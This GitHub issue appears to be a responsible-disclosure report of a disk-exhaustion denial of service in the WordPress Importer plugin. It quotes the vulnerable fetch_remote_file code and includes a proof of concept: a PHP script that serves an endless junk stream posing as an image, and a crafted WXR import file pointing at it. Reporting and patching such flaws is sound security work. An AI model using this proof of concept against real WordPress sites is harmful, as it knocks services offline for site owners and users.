Skip to content

DoS in WordPress Importer 0.9.5 - 2 Million Sites Affected - Disk Exhaustion Denial of Service (DoS) #256

@JoshuaProvoste

Description

@JoshuaProvoste

Hello,

During a recent security audit of the WordPress Importer plugin (v0.9.5), I discovered a Denial of Service (DoS) vulnerability related to how remote media attachments are fetched and stored locally.

Image

Below are the detailed findings, the vulnerable code snippet, and the potential impact concerning server resource and disk exhaustion. I am submitting this report in hopes that it will help patch the issue in upcoming releases.

DoS vulnerabilities are out of scope for the official bug bounty program, which is why I'm reporting it here.

Image

Why it is a vulnerability

The plugin includes a feature to download and import media files or attachments linked in the original WXR document. This download is performed by sending HTTP requests where the stream directive is set to true, thereby dumping the data stream returned by the remote server entirely into a temporary file on the WordPress server where the import is running.

The validation of the maximum allowed quota (via the max_attachment_size() method) is only executed using the filesize() function after the download is completed, or after exhausting the aggressive 300-second connection timeout. If an attacker uploads a WXR file with multiple manipulated "attachment" URLs pointing to artificial infinite streams or gigabyte-sized files, the host will consume massive bandwidth, but more lethally, it will flood and choke the available disk storage system, filling it to saturation before it can be deleted (since the restriction occurs a posteriori). Additionally, the importer disables PHP timeouts by using set_time_limit(0); which substantially aggravates the problem, allowing the prolongation of an attack that asphyxiates server resources.

Description

In the fetch_remote_file() method (class-wp-import.php file), the request is prepared by invoking wp_safe_remote_get() and streaming its output to the file whose destination is provided by wp_tempnam. Response headers that could predict the size early and abort the process prematurely are ignored. After the voluminous download to the host's filesystem is completed, the plugin's logic verifies its weight via filesize(), opting to perform @unlink($tmp_file_name) only when the disk read/retention and I/O damage has already been done.

Vulnerable Code

File: class-wp-import.php (approximately around line 1364 to 1428)

		// Fetch the remote URL and write it to the placeholder file.
		$remote_response = wp_safe_remote_get(
			$url,
			array(
				'timeout'  => 300,
				'stream'   => true,             // VULNERABLE: Writes to disk without concurrent byte limits 
				'filename' => $tmp_file_name,
				'headers'  => array(
					'Accept-Encoding' => 'identity',
				),
			)
		);

		// [ ... HTTP connection validations ... ]

		$filesize = (int) filesize( $tmp_file_name ); // VULNERABLE: Ineffective a posteriori check

		// ...
		$max_size = (int) $this->max_attachment_size();
		if ( ! empty( $max_size ) && $filesize > $max_size ) {
			@unlink( $tmp_file_name ); // Deletes the file ONLY when it has already overwritten and potentially saturated the disk 
			return new WP_Error( 'import_file_error', sprintf( __( 'Remote file is too large, limit is %s', 'wordpress-importer' ), size_format( $max_size ) ) );
		}

Proof of Concept (PoC)

To practically demonstrate this vulnerability, an attacker only requires two components: a malicious endpoint serving an infinite loop of data, and a WXR file that forces the importer to fetch it.

1. The Malicious Stream (stream.php)

This script acts as infinite stream. When the victim's server connects to it, it pretends to be a valid image but enters an infinite loop, constantly dumping 1 Megabyte of garbage data into the active connection every second without ever closing it.

<?php
// stream.php
header('Content-Type: image/jpeg');
set_time_limit(0); // Prevent this script from halting

// Infinite loop that outputs 1 MB of garbage data per second
while (true) {
    echo str_repeat("A", 1024 * 1024); // 1 Megabyte of the letter A
    flush();  // Send the output buffer aggressively to the connected client
    sleep(1); // Wait 1 second to avoid saturating the attacker's own CPU
}

2. The Weaponized WXR Payload (poc.xml)

This is the malicious export file uploaded by the attacker to the WordPress Importer (Tools > Import > WordPress). It defines a dummy media attachment post, but points the <wp:attachment_url> node directly to the trap script.

<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" xmlns:wp="http://wordpress.org/export/1.2/">
<channel>
    <wp:wxr_version>1.2</wp:wxr_version>
    
    <item>
        <title>Ataque DoS Prueba</title>
        <wp:post_name>prueba-dos</wp:post_name>
        <wp:post_type><![CDATA[attachment]]></wp:post_type>
        <wp:status><![CDATA[inherit]]></wp:status>
        <!-- DoS URL pointing to the infinite stream trap -->
        <wp:attachment_url><![CDATA[https://localhost/test/stream.php]]></wp:attachment_url>
    </item>

</channel>
</rss>

Attack Execution

When a user with high or low privileges uploads this XML file (using the WordPress importer path /wp-admin/admin.php?import=wordpress) and checks the "Download and import file attachments" setting, the wp_safe_remote_get() function connects to stream.php. The plugin immediately starts saving the limitless incoming stream into the wp-content/uploads (or the host's main temporary directory), inflating a mock file by 1 Megabyte every second. Since the plugin does not implement chunk-size limit checks during the buffer reception, the file will grow indefinitely up to the 5-minute timeout window (yielding a ~300 MB junk file per URL), swiftly exhausting the server's disk space quotas if multiples URLs are provided.

Thank you for your time and the hard work you put into maintaining this essential plugin for the WordPress community. I understand that securely parsing and downloading untrusted remote resources is a complex challenge, and I provide this report strictly collaboratively to help harden the plugin against potential abuse.

Please let us know if you need any further technical details, additional tests, or assistance in validating a patch. I more than happy to help!

Best regards,
Joshua

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions